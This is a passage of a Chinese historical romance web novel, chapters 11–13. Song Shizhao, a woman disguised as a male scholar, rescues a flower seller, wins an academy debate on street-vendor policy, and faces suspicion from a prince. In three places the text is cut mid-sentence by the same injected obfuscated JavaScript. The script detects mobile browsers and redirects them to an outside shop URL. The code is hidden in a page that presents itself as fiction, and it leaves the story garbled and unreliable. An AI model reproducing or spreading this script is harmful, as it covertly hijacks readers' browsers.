孟照夏连忙否认:“怎会?姑娘多想了,近日与宋兄为课业忙得焦头烂额,得空了一定去益清阁与姑娘对饮观花。” 苏蔓枝不置可否,轻声道:“初见公子时,公子尚带着几分异乡人的局促,如今,待得久了,公子倒像褪去旧籍,成了道地的洛京人,如今,奴再问一句公子来自何方,公子当如何应答?” 孟照夏真诚而坦荡地答:“姑娘说笑了,自是浙江余杭孟照夏是也。” 她似被孟照夏义正言辞的模样逗笑:“我便是最喜爱孟公子这般坦荡磊落,勿论身处何种境地都能主动融入,静候时机。”她话音一顿,终于把目光落在宋始昭身上,“宋公子如何想?” 宋始昭刚要开口,门外突然传来一阵凄厉哭叫:“我的花!你们这些畜生,别踩我的花!” 三人循声望去,只见两个身着短打的壮汉,正对着一位摆花摊的女子推推搡搡。竹篮翻倒在地,刚采摘的鲜花散落一地,被壮汉的靴子肆意踩踏,娇艳花瓣瞬间被碾落成泥,像是一颗零落的心。 周遭的行人与店家虽面露同情,却纷纷驻足观望,无人敢上前阻拦。 “求求你们,别踩了……这是我一家人的生计啊!”女子的哭声愈发凄怆,绝望地蜷缩在地上。 宋始昭心头一紧,不及细想,便猛地起身冲出店门,一把将那披头散发的女子护在身后。她刚要厉声斥责,那壮汉便挥着短棍朝她打来,嘴里还骂骂咧咧:“臭小子,敢挡老子的路,找死不成?” 短棍带着劲风落下,宋始昭下意识闭眼缩肩。不过,却迟迟未等来意料中的疼痛。 她微微掀开眼睫,只见一道黑色身影挡在身前,望向宋始昭的那双眼睛风流而多情,眼底两颗并行的浅痣缓缓游曳。 “好巧,宋兄,这次又是惹上谁了?” 她听到顾锦幽这样问。 11. “带你飞” 惹上谁? 宋始昭第一反应是,要说阴魂不散,那么你顾二皇子可谓当仁不让。但也只是心头一闪念,断无说出口的道理,她敛敛脸色,对顾锦幽道了谢。 被顾锦幽拦下的壮汉仍喋喋不休,扬起短棍便要反扑而来。就在这时,一道极轻巧的身影悄无声息地出现在他们身后,未等他们回过神,出手将他们掀翻在地。 正是沈棹之。 他面容冷硬如寒铁,周身凛冽,宛若一尊杀神临世,瞬间镇住了还想挣扎的壮汉。其中一人梗着脖子兀自叫嚣:“知道爷爷是谁吗?巡检司长行——” 沈棹之却充耳不闻,往前踏出一步,那迫人的气场立即压得他剩下的话尽数噎在喉咙里,脸色变得惨白。 沈棹之轻吐一字:“滚。” 两人浑身一颤,哪里还敢停留,几乎是本能反应一般,连滚带爬瞬间消失在人群中,连掉落的短棍都不敢回头捡。 “宋兄!你怎这般冲动!” 孟照夏匆匆从食铺内奔出,却不见苏蔓枝。他看到顾锦幽时表情一怔,刚欲行礼,对方便递给他一个眼神,孟照夏嘴巴中的“殿下”拐了个弯,变成了“顾兄”。 顾锦幽递出手,伸向宋始昭:“巡检司欸?”他的语气有些意味深长,将她同地上拉起时又说,“前几日是蔡公子,今日又是这巡检司,宋兄,你可得小心点啊。” 宋始昭心里扯出一丝冷笑:“多谢公子关心。”言罢,她望向那瘫坐于地的女子,面露不忍之色,俯身便将对方从地上扶起。 女人脸上泪痕未干,挽得整齐的发髻因刚才那番推搡散落开来,凌乱的发丝黏在颊边显得楚楚可怜。宋始昭瞥见她脸上的擦伤,轻声问道:“夫人可伤着哪里了?” 那女子浑身一哆嗦,勉强笑了笑:“多谢公子相救,妾身无事。”说着,她弯腰拾起翻倒的花篮,手指紧紧攥着花篮边沿,“公子大恩,妾身无以为报……” “夫人言重了。”宋始昭打断她,“那二人何故如此跋扈?姑娘若要去讨回公道,宋某愿陪你走一趟衙门。” 谁知女子闻言脸色大变,慌忙缩起肩膀摇头,语气里满是难以掩饰的惶恐:“不,不必了。公子的好意妾身心领,此事……此事便到此为止吧。” 她说着,胡乱抹了抹眼泪,对着三人匆匆行了一礼,便抱着花篮仓皇离去,瘦弱的身影很快湮没在人流里。 宋始昭望着她消失的方向,眉头微蹙,眸中满是不解。耳畔传来顾锦幽的声音:“看宋兄的神色,似乎不解她为何要息事宁人?” 被猜中心事,宋始昭并未避讳,反倒坦然颔首:“确实不解,还请顾兄不吝赐教。”她琢磨出了对待这人的方法,语气扭捏躲避,倒还不如直接应对。 顾锦幽轻笑一声,目光转向一旁的孟照夏:“宋兄初来洛京,怕是不知此地情形,孟兄应当清楚吧?” 孟照夏轻叹口气,语气无奈:“想来……是那女子本身便不占理吧。” 顾锦幽不置可否。见宋始昭依旧茫然,孟照夏苦笑一声,抬手指向这条四通八达的街道:“宋兄,御街人来人往何等热闹。可你若想在此摆摊营生,需得有官府颁发的经营许可才行。” 宋始昭瞬间了然。换句话说,这就类似于现代的路边摊问题,那么那些壮汉大概充当的角色便是城管了。 “宋兄想必已经明白了。”孟照夏顿顿,“许多没有许可的小商贩,只能缩在商铺的阴影里偷偷营生。巡检司为了维持皇城秩序,便选择了直接肃清。” 宋始昭哑然,定睛看去,果然见不少小贩缩在街巷角落,一面警惕地来回扫视,一面低声招揽着顾客。她微微闭了闭眼睛,开口道: “即便如此,也不该用这般简单粗暴的法子。” 顾锦幽饶有兴致地看过来:“宋兄言下之意是?” 宋始昭抬眸看他,言简意赅:“堵不如疏。” 这跟现代某些一刀切的政策有何区别?民生问题错综复杂,需要具体问题具体分析,才能釜底抽薪,标本兼治。 想得这里,宋始昭突然眼睛一亮,她猛地攥住孟照夏的手,脸上有隐隐的兴奋之色:“孟兄,就这个议题如何?” “啊?”孟照夏一愣,琢磨片刻她的言语,脑海中猛地出现一个想法。 “这个,不就是一个极好的实务问题么?商街侵占的治理之策——” 她兴冲冲地说着自己的想法,然而却没有想到,这些话语尽数落在端坐在从食铺中某位茶客耳中。 —— “爷,那家从食店里似乎有一些不怀好意的眼睛。” 顾锦幽走在街边,目光扫过两侧琳琅的商铺。这里确实与朔北很不一样。朔北的天空总是很高远,吹过来的风里都带着沙的粗粝。而这里不同,这里风中都夹杂着旖旎和蜜意。 “不必管。”他同倚在二楼栏杆上的姑娘挥手。他大概能猜出那些不怀好意的眼睛属于谁,所以就愈发好奇,如果是宋始昭,跟对方产生冲突时又会怎样。不管如何,一定会很有趣。 他侧头见了一眼他的近侍。只见沈棹之眉宇间仍有几丝郁气,他的声音又低了几分:“我知你不喜这里。”他微微眯起眼睛,似在回忆,“我从前也不爱这里,总觉得这里冰冷,被送出去那时与其说是惊恐,不如说感觉是种解脱。” “爷。” “过阵子你去朔北帮师父吧。”他没有等沈棹之的回答,话锋一转,又说,“收好表情,去见思意和阿漼了。” 沈棹之点了点头。 —— “这……恐怕不妥啊。” 宋始昭将“商街侵占之议”的议题递给施青时,换来的是一句略显迟疑的答复。 瞬时,堂下投来无数看好戏的目光。 这种目光在今日开课之际她便察觉到了。当时,她与孟照夏刚走进斋舍。施青提前到了,一众学子围着他,而他的手上则拿着一沓写满各项议题的纸笺。 宋始昭有些莫名,身宽体盘的施青解释道:“二位的议题立意甚佳,只可惜,已有旁人先行递了此议。选题不可重复,你们还是另换一个吧。” “什么?”宋始昭心头一震,一股不好的预感油然而生,她急忙追问,“是哪位?” “正是在下。” 一道倨傲的声音自身后响起。宋始昭循声望去,说话之人竟与蔡澜玉形影不离的王山。 她飞快同孟照夏对视一眼,那一瞬间,那些从刚才开始便持续不断的戏谑眼神一个接着一个浮现。 ——这分明便是一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17125643|196055||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 场有预谋的算计。 “这是宋兄昨日才想到的!”孟照夏又急又气,忍不住高声辩驳。站在他身侧的宋始昭则紧抿着唇,脸色冷了下来。 王山脸上满是嘲弄,嗤笑道:“怎么?难道只有孟兄和宋兄才能想到这个问题吗?昨日我恰巧去御街从食铺,亲眼见着巡检司忙于肃清摊贩,这才有所顿悟。博士,还请您秉公评判!” 宋始昭看向站在他身侧、一言不发却满眼挑衅的蔡澜玉,心头最后一丝疑虑也烟消云散——这分明就是蔡澜玉记恨给他们下的绊子。 施青摸了摸胡子,面露难色:“这……不好说啊,不好说。”施青在这太学内是出了名的温吞性子,他不似古板严谨的赵伯识,喜欢凡事皆留三分余地。 宋始昭紧紧攥着拳头,怒意在胸口燃烧,就在她思忖着如何扳回一局时,一个慵懒的声音从斋舍门口传来:“博士,既然不好说,那么就让双方比试一番如何?” 众人循声望去,只见顾锦幽缓步从门外走进,黑袍广袖拂过门槛,眉眼间带着惯有的风流。 话音刚落,一鼓蓦地敲响。众人一凛的同时意识到一个问题,这凡是皆三天打鱼两天晒网的皇子竟准时出现在了学堂之中。 施青见是他,连忙起身行礼。学子们纷纷收起揣度,也纷纷躬身。 顾锦幽摆摆手免了众人礼节,径直走到案前,他扫了眼施青手中的物什,唇角勾起一抹玩味:“博士您觉得如何?” 施青慢悠悠道:“殿下的意思是?” “议题撞了便撞了,换个角度想,王兄和宋兄都能想到这个问题,正说明我洛京城内如今商街侵占的问题亟待解决。既如此,何不让二人各抒己见,拿出解决之策当众论辩?此举于国于民,皆是一桩好事。” “然。”施青笑起来,胖嘟嘟的脸上眼睛眯成两条缝,像只招财猫,“殿下忧国忧民,实乃大兴之幸。那三日后,策论堂内,你二人当众论辩,如何?” 那王山面色一僵,宋始昭却抢先一步,朗声道:“好!”她目光灼灼地盯着蔡澜玉和王山,眸中骤然亮起亮光,“博士,此议题牵涉甚广,是否可邀人相助?” 施青点点头,懒洋洋坐到上首蒲团之上:“自然可以。” 宋始昭笑笑,先与孟照夏交换了一个眼神,随即转身,目光直直落在顾锦幽身上:“殿下,如若不弃,恳请您助我一臂之力。” 顾锦幽显然没料到她会突然抛出这话,脸上僵了一瞬,但随后嘴角笑意却更深。 宋始昭料想他就不会拒绝,神色放松下来,转头又看向那几位始作俑者,语气却相当温和:“王兄平日同蔡兄情同手足,想必蔡兄才思定能在辩论中让始昭受益匪浅,始昭实在期待。” 一句话,不仅替对方应承下来这场比试,还将最想敲打的蔡澜玉拉下了水。 坐回座位的路上,顾锦幽俯身问她:“怎的?宋兄难道是要为我报仇?”语气带着戏谑。 向来藏锋敛锐的宋始昭这次却没有否认,甚至还微微抬脸,脸上扬起转瞬即逝的张扬笑容,她说: “是啊,殿下。而且,定为您拔得头筹。” 顾锦幽一愣,胸腔那颗沉寂已久的心弦仿似被一双玉手轻轻拨弄,振颤出连绵而深沉的回响,久久不散。 12. “别说谎啦,昭昭” 三日后,策论堂。 宋始昭踏进明伦堂时,便见斋舍前围聚了好些人,细细看去,竟还有许久未见的许文礼。 她想鲁迅先生所言不假,果然国人最爱看热闹……当然这个推断也十分武断就是了,她自嘲一笑,敛去心绪,抬步走进斋舍时不出意外地收获了满室注目。 她向许文礼微微行礼,神色坦然地走进斋舍。舍中席位早已分明,中间空出一片地界,宛若围棋棋盘上的楚河汉界,将今日的辩论双方隔在南北两侧,针锋相对,分庭抗礼。 南侧席面,蔡澜玉一行早已端坐,见她进来,目光霎时如利刃般射来;蔡澜玉更是一如既往的倨傲,下巴微扬,似是成竹在胸。 宋始昭视若无睹这些敌意,神色平静地走到北侧席位落座。 候了一会,孟照夏匆匆赶来,挨着她坐下,见舍内氛围已然剑拔弩张,便压低声音安抚:“不要紧张,我们的对策可谓天衣无缝。” 她正欲开口回应,余光瞥见侧后方投来一道目光——顾锦幽不知何时已坐在那里,此刻正支着下巴,好整以暇地看着她,唇边噙着一丝若有似无的笑。 宋始昭收回视线,声音很轻却很笃定:“那是自然。” “咚——” 晨鼓鼓声响起,施青从门外缓步走入,咳嗽一声,目光扫过堂下人群的同时朗声道: “今日之辩,题为‘商街侵占治理之策’。南席,王山、蔡澜玉;北席,宋始昭、孟照夏。双方各陈己见,而后互相辩陈。胜负由我及在场诸学子公议。”他顿了顿,圆润的脸庞上漾开和气的笑意,“望诸位以理服人,以礼相待。开始吧。” 王山率先起身。 他显然早有准备,声音洪亮,侃侃而谈: “古往今来,历朝历代对市井管理皆有一套严苛律令,《周礼》中便云‘司市掌市之治教政刑’,可见‘无规矩不成方圆’。如今我洛京,天子脚下,首善之区,得皇恩浩荡,一派繁荣向上景象,若放任商贩侵占之乱象,其危害不堪设想!” 这一番陈词确然有几分气势与章法,宋始昭听到堂下立时便起了一阵附和低语,就连施青也抚摸胡须,微微点头,显然对这种严守祖制的论调颇为认同。 王山见状,语气愈发昂扬: “得蔡公子指点,我方将危害总结为三点:一,损市容;二,滋事端;三,乱法度。故学生以为,当重申禁令,严加稽查,凡无许可者,均一律驱离。有屡犯不禁者,则杖责、罚没,以儆效尤!” 蔡澜玉趁势补充道:“诸位,洛京商贾云集,若放任无籍商贩横行,岂不是对守法商贾的不公?长此以往,谁还愿守规矩?” 此言一出,众学子纷纷交头接耳。这番景象落入孟照夏眼中,他的手心不由渗出薄汗。他下意识看向宋始昭,对方却递给他一个平静的眼神,那目光沉稳且平和,竟让他莫名安下心来。 这时,施青悠然发声:“王山、蔡澜玉所言甚妥,引经据典,明察祸患。宋始昭一方有何见解?” 原本还在私语的众人立刻安静下来,把目光俱投向她这方。宋始昭缓缓起身,她回道: “王兄、蔡兄所言极是。国家之安定皆在‘法度’二字,无法何以治国?两位兄台从此处着手,令人敬佩。” 蔡澜玉嘴角勾起一丝讽笑,眼底满是不屑。 “但始昭并不认同。”宋始昭话锋一转,目光看向蔡澜玉,“蔡公子,王公子,敢问两位兄台,法度之设,本意为何?” 蔡澜玉大义凛然道:“自是安民,民存则社稷存。《尚书》云:‘民惟邦本,本固邦宁’。” “好一个‘民惟邦本’。”宋始昭颔首,“那么请问二位,那些所谓侵占商街之人,究竟是何人?是天生奸猾的恶徒,还是……” 她顿了顿,一字一句道:“只是想活下去的平民?” 此言一出,堂下一片寂静。 顾锦幽原本慵懒支着下巴的手几不可察地顿了一下。他抬起眼,目光落在宋始昭清秀的侧脸。对他产生兴趣或许便源于此。在林府时如是,现在如是。这个人的每一次言辞都能看出藏于其后的真正的悲悯心。不是现时很多名流流于说教的那一套,而是最真切的共情。 “这……”王山一时词穷。蔡澜玉却反应极快,脸色一沉,反驳道:“宋兄同情罪民之心实在令人敬佩,但请不要颠倒黑白!他们皆是逾越法度之人,法度面前,岂容私情?” “蔡兄误会了。”宋始昭脸上笑意未减,“始昭并非要替违法者开脱。始昭想问的是,若只是为了营生,当真需要用这般严苛的律法将他们赶尽杀绝吗?” 王山反唇相讥:“宋兄这是将一己之仁凌驾于祖宗规矩之上。” 这话有些诛心,舍内氛围也骤然紧绷。 就在她欲开口反驳的时候,那厢,一直未出声的顾锦幽处传来一句:“……王公子为何这般说?” 众人愕然看去。只见顾锦幽脸上是真真切切的疑惑,那双风流多情的眼睛眨了眨,像是不解:“宋兄不过是问‘这些人是谁’、‘为何如此’,怎就成了‘凌驾法度’?我实在愚钝,听不明白这其中的道理。” 他语气诚恳,表情无辜,真真儿演技极佳,叫人看不出半分虚假。 王山一时语塞,张了张嘴,竟不知如何反驳。这人是真的装疯卖傻还是犯蠢?从他贯来的荒唐行径来看,只怕是真的没听懂…… 堂下传来几声压抑的低笑,连宋始昭都没忍住。若说之前她会感觉这人此番行径十分可恶,但现下只觉大快人心。 舍内氛围经过顾锦幽的插科打诨舒缓不少,宋始昭便敛去笑意说:“学生并无逾矩之意,只是坚信,治国之策,当基于民生实情,而非空谈祖制、纸上谈兵。” 她转向孟照夏,递去一个眼神。 孟照夏立即会意,从袖中取出一卷纸,徐徐展开。 那并非铺采摛文的寻常策论,而是,而是一个前所未见的、由横竖直线划分的方格阵列,格中填着清秀工整的小楷。 众人目光俱被吸引过去。 宋始昭则上前几步,将纸卷呈给施青。施青接过,胖脸上先是诧异,待细看片刻,眼睛渐渐瞪大——那竟是一份分门别类、条理清晰的记录! 姓名户籍营生日入缘由 何氏坊郭户插画、卖花300-500文抚育二子 张婆佃户时蔬200-400文补家用 陈婆孤寡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17125644|196055||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 卖胡饼150-300文年老无依 …… 表格上方最上方的何氏正是那日宋始昭救助的卖花女。她名为何菁花,平日良善可亲,为生活所迫才出此下策。借由何菁花的帮助,宋始昭才得以陆续接触了十几位同样的小贩。 宋始昭深吸一口气,声音清晰而有力:“此为我与孟兄三日内,走访御街、西市等地,合力同十三位摊贩交谈后所得。他们之中六成中皆为城外农户,农闲时入城贩售蔬果;三成为城内贫户,以手艺或小本买卖糊口;还有一成是老弱孤寡,全赖此谋生。” “由此可见,”宋始昭顿顿,“所谓‘罪民’,按照蔡公子的说法,即便称不上良民,但决计不是会扰乱社会治安之徒,只是无力承担店铺租金的升斗小民。他们于夹缝中营生,实为生计所迫。” 舍内落针可闻。 见众人默然,宋始昭目光又变得锐利:“若依王、蔡二位兄台之策,这些人一律驱离、杖责、罚没,学生敢问,他们的生计何以为继?他们的父母妻儿,靠什么吃饭穿衣?难道要逼得他们卖儿鬻女,铤而走险吗?或许那时,当今天子已仁孝治天下,或也将悲悯。” 一席话说得王山和蔡澜玉如鲠在喉,只能怒目圆睁,喉结滚动,却不能言一语。 而最上首的施青看着那卷纸久久不能言语。他放下纸卷,再开口时一改平日懒散随和模样,取而代之的是罕见的郑重: “宋始昭之举实在不易,深入民间,体察疾苦,虽繁虽苦,却是治国者不可或缺的眼与耳。” 他环视全场,声音沉厚: “望诸君效仿,治国之道,终要落于实地。” 一语定音。 蔡澜玉的脸色彻底沉了下来,他死死盯着宋始昭,而王山更是面如土色,额角渗出细汗。 宋始昭心下一松,对孟照夏露出一个笑容。她今日心情颇佳,一时忘了与顾锦幽的诸多纠葛,也朝顾锦幽投去目光。她笑得极为自信明亮,如晨光破晓,澄澈剔透,叫顾锦幽都怔了一瞬。 这时施青的声音再度响起,将所有人拉回现实: “双方观点既明,那么接下来——便请各自陈述,将以何策治此乱象……” 第二轮,那蔡澜玉和王山早已没了先前的气势,发言畏畏缩缩,抛出“重申禁令、增设巡检”等策,言辞苍白,毫无新意。舍内大势已去,在宋始昭提出“堵不如疏、划区设市”时,更是响起一片赞许之声。 胜负已然分明。 蔡澜玉面色惨白,瘫坐于席;王山更是垂头丧气,再无半分往日气焰。 孟照夏松了口气,悄悄对宋始昭递去一个欣喜的眼神,宋始昭神色依旧平静。 只是,在她坐回席位时,身侧的顾锦幽却目光灼灼地看着她,眼底满是探究:“宋兄到底来自何方?此番见解,非常人能及呀。” 宋始昭浑身一怔,张了张嘴,下意识地便想找借口搪塞:“殿下说笑,在下只是幸运,得林老点拨……” 而顾锦幽却笑着打断她。他微微俯身,温热的气息拂过她的耳侧,用只有他二人才能听到的声音说:“别说谎啦,昭昭。虽然我现在还不知道你的底细,但并不代表以后永远都不知道。” 13. 风雨欲来 直至下堂,顾锦幽再不同她言语。发难者一派气定神闲的模样,被质疑者内心却掀起惊涛骇浪,潜藏在内心深处的某个猜想在此刻终于有了清晰而确定的轮廓。 自那夜树林初遇,她便隐隐感觉这人并不简单,于是始终抱着防备之心,又或是潜意识里她总盼着这只是自己多想,但今日这样的直觉再度涌现,让她再无法自欺欺人。 他知道了多少? 这是宋始昭脑海中浮现的第一个念头。继而,林自虞以及苏蔓枝的身影浮现眼前。毋庸置疑,如果顾锦幽对自己有所怀疑,最先被牵连、被怀疑的,一定是林自虞。而苏蔓枝,只要自己敌国“太子”的身份不暴露,那被牵涉其中的概率便极小。 那么,眼下最要紧之事便是——宋始昭眼底凝起坚定,返回林府后,主动跟林辛说起自己想要见林自虞的意愿。 片刻后,她在林辛的引导下再度踏入书房,见到了林自虞。 林自虞放下手中经卷,抬眼看她:“公子此次前来所为何事?” 宋始昭听他的称呼冷淡,便知他约莫已经知晓了自己最近的动作,她决定如实相告:“大人,学生愚钝,因一时意气惹出了不该有的祸端。” 林自虞默然望着她,如深潭一般的眼眸里不见波澜。 见他不语,宋始昭脊背弯得更甚:“请大人明鉴,学生绝非有意要牵涉其中。只是先前在边陲小镇见民生凋敝,于心不忍之下才在策论堂上直抒胸臆。” 她能感觉到林自虞探究的目光在她身上逡巡,心底生出几丝忐忑:“今日策论之后,二殿下似是对我起了疑心。我本以为,主动出手助他,总能打消他几分疑虑,不想反倒弄巧成拙。我忧心此事牵连到林老,故而冒昧前来叨扰。” 她不知林自虞是否会选择相信她,但眼下绝不能让自己孤立无援。 片刻的沉默后,那道难挨的目光终于有了松动,宋始昭听见林自虞深叹一口气,道:“你免礼吧,我自然明白你不是会强硬出头的性格。只是,殿下他……”他顿顿,脸上表情变得晦暗不明,“旁人虽不觉,就连陛下都道他只是顽劣,但我总感觉他捉摸不定,性格难测,或许,这与他的经历有关系吧……” 宋始昭一愣:“经历?” 林自虞摆摆手,不欲多言:“此事我不便明说,你的小心是对的。当初你同他牵涉在一起时,我便有这般预感,如今事情已经不再受我掌控了。”他黑色的眼眸看着宋始昭,语气郑重,“放弃我当初许你的承诺吧,他生性多疑,若我此刻贸然行动,送你出关,只怕会加深他的怀疑。此刻什么都不做才是最好的。” 宋始昭虽被看破内心想法,但并未生出失望,她早有预感,此事并不会如此简单,她苦笑一声,回道:“谢谢林老。” 林自虞深深看她一眼:“你能这般坦诚,我心下宽慰不少。我且问你一句,你往后到底是何打算?” 宋始昭沉吟片刻,内心挣扎许久最终还是迎上了他的目光:“林老,我说,我想重新开始,您信么?” “……”林自虞表情复杂地看着她。 她自然知道这话说出来谁都不会相信,但她仍旧打算一试:“母亲生前曾与跟我说,愿身不复生帝王家。当初兵败如山倒之际,她拼尽全力安排我脱身,也不是为了东山再起。她……”宋始昭喉咙一酸,这一刻魏蘅的感情同她的交织在一起,让她声音有些哽咽,“她或许一直只盼着我做个普通人……” 林自虞抿起嘴唇,似是被她的情绪所感染,目光里也难掩悲恸,他的眼前再度出现那道明艳的身影,那身影如此鲜活,令人难以忘怀。 “而且,我也确然想知道,一个不用可以掩饰身份,不用终日提心吊胆的普通人,究竟该过着怎样的生活……” 她说着,终于卸下那故作的低沉男声,第一次用自己的清甜本音缓缓道出魏蘅内心深处掩埋最深的夙愿。 林自虞惊愕地瞪大了双眼,久久未能回神。半晌,他才喃喃低语:“原来竟是……这样。” 待宋始昭走出书房,林自虞缓步走到书架一隅,从隐秘处翻出一封信件。 信件落款处“麓汀”二字清晰可见——正是魏蘅母亲的姓名。 信上寥寥数行清隽小字,内容他早已烂熟于心,但此刻,他才真正明白那些恳切托付的言语背后掩藏着何等深意。 信中写道,若蘅儿还试图再次再起,那大哥你便随她去吧。但若是蘅儿日后想要另一番天地,不问过往,不恋旧仇,还望自虞大哥能出手相助。 昏黄的烛火摇曳,在他脸上投下深深浅浅的阴影。他珍而重之地又将信件默念一遍,心中浪潮久久不能平息。 自魏国游学归于洛京那年,林自虞便听到消息说,麓汀怀了身孕。当时魏国主公病危,东宫之位悬而未决,她怀孕的消息大大增加了她夫君争夺储君的胜算。她的夫君一直便是一个心思深沉之人,后来竟勾结魏国大祭司,放出神灵托梦的流言,称麓汀腹中所怀必为真龙龙子,由此,终于成功入主东宫,而后,在旧王驾崩后成为新帝。 林自虞万万没有想到,那储君之位的争夺背后竟是这样的博弈,不仅是他的夫人,就连他的女儿都成为了棋子。 想到这里,林自虞缓缓将信件放置到烛火上方,火舌袅袅升起,一点点舔舐着纸张,将这些秘密尽数吞噬。 纸张缓缓湮灭成灰烬,林自虞想,既是如此,就帮她一回吧—— —— 同一时间,益清阁中三位熟客正饮酒闲谈。 今日又是苏蔓枝登台演奏之日。彼时,一曲已近尾声。三人依旧坐在视野最好的那间雅间中,与前几次相比,姚漼脸色愈发阴郁,这叫顾锦幽看在眼中都忍不住调侃,问他发生了何事。 姚漼有了上次教训,言辞间收敛不少,但还是忍不住抱怨:“我怎得感觉我真回不去禁军了……道观眼见着快要竣工,圣上那边龙心大悦,那边气焰更是愈发盛了。”他忽而像是想到了什么,警惕地环顾四周,随后压低声音又道,“说到这个,我听闻,军里这几日不知从哪里得了消息,说这京中可不太平。” 顾锦幽饮了一口,饶有兴致地问他:“嗯?” 姚漼摇头,语气无奈:“我也只是偷摸着打听的,具体是什么密报,哪儿能轮得到我知晓?爷,您可有什么消息?” 夏思意在一旁笑道:“你喝糊涂了不是,问的这是什么话?阿幽日日同我们厮混在一起,知道的恐怕只比你我还要少。” 姚漼撇嘴:“那你又知晓些什么?” 夏思意笑容更大了:“揶揄我?你这也不受重视的庶子!” 姚漼瞪着眼睛撩起袖子似乎要找夏思意算账,顾锦幽忍不住地低笑:“大家彼此彼此,就不要往伤口上洒盐了吧?” 夏思意不再打诨,转移了话题:“对了,这几日怎么不见沈侍卫?” 话音刚落,门外传来一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17125645|196055||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阵轻轻的敲门声,紧接着,侍女的声音传了进来:“各位爷,蔓枝姑娘来了。” 三人当即收了闲谈的神色,坐得端正了些。夏思意应了一声:“请蔓枝姑娘进来。” 门被缓缓推开,苏蔓枝抱着琵琶身姿款款地走了进来。待她在一旁落座,顾锦幽才回了夏思意方才的问话:“棹之被我赶回朔北去啦~上次御街之事,虽说先是那长行动手,惊扰了宋兄,可棹之出手也没有分寸。王兄后来还特意同我提过此事,说是巡检司冲撞了,但我后来又想人家也是在履行自己的职责,也不好过多苛责嘛。” “宋兄?”夏思意眼神一亮,追问道,“莫不就是前些日子您一直念着的?” 顾锦幽捡起一粒花生米塞到嘴中:“宋兄宅心仁厚,可是比你们这些登徒子在意我多了。” “什么——”姚漼和夏思意齐齐哀嚎,满脸的不服气。 顾锦幽却充耳不闻,似笑非笑地看着他们,反问道:“说说看,上次见我在射圃受了委屈,你们做了什么?” 两人一时语塞,尴尬地看了彼此一眼,半天说不出一句话来。 顾锦幽见状继续道:“可宋兄不一样,他竟带着我赢了这次同蔡澜玉的策论比试,也算替我出了一口恶气。” “哎呀,说到这事,我倒有个主意。”他眨了眨眼,目光转向一旁安静端坐的苏蔓枝,语气诚恳,“蔓枝姑娘,我听闻宋兄十分喜爱你的琴音,过几日,我想在这益清阁设个小宴,答谢宋兄的相助,不知姑娘能否赏脸赴宴?” 苏蔓枝颔首,淡淡应道:“能得殿下相邀,是民女的荣幸,自然愿意赴宴。” —— 临近巳时,顾锦幽三人这才说说笑笑地离开了益清阁。 苏蔓枝返回顶楼,稍作歇息后她的神色愈发凝重起来。顾锦幽素来是个混账,话本就不可尽信,但魏蘅殿下近日的种种举动却由不得她不多想。 她暗暗攥紧身下的床褥,牙齿紧紧咬着唇角,心底满是焦灼与不安。 不,不会是她想的那样……但殿下对复仇一事到底是何种打算?如果真的心与自己在一处,为何迟迟不来找自己商量对策?若是她真的如顾锦幽所说,早已乐不思蜀,不愿再提及过往仇恨……那自己这五年来的隐忍与付出,又算得了什么? 八年前,本是贵女的她沦为官妓,挣扎求生之际皇后救她于水火之中。后来跟了皇后三年,因魏国与大兴局势日益紧张,皇后问她是否愿意为了魏国鞠躬尽瘁。 她知道,皇后看中了她的一身技艺与聪慧。为了回报皇后的恩情,她当然必须要舍生忘死。这些年也正是这样做的——她小心翼翼地充当着间谍一职,不管多么折辱,她都忍耐下来了,只为将探听到的秘辛传回魏国,可是到头来,仍是徒劳…… 她正胡思乱想着,门外突然传来一阵急促的敲门声。苏蔓枝连忙收起心绪,压下心头忧虑,应道:“进来。” 侍女神色慌张,急匆匆地从门外小跑进来。跑到她面前时脚下更是一个趔趄差点摔倒在地。苏蔓枝内心陡然升起一阵强烈的不安,问道:“何事?怎么如此慌张。” 侍女颤抖着递给她一张纸条:“那边来了消息,姑娘你看一眼!” 苏蔓枝瞳孔骤缩,心脏猛地一沉,连忙接过纸条。 纸条上,只有寥寥数语,却如惊雷般在她脑海中炸开,字字刺目: 暴露了不少人,姑娘千万小心,速作打算!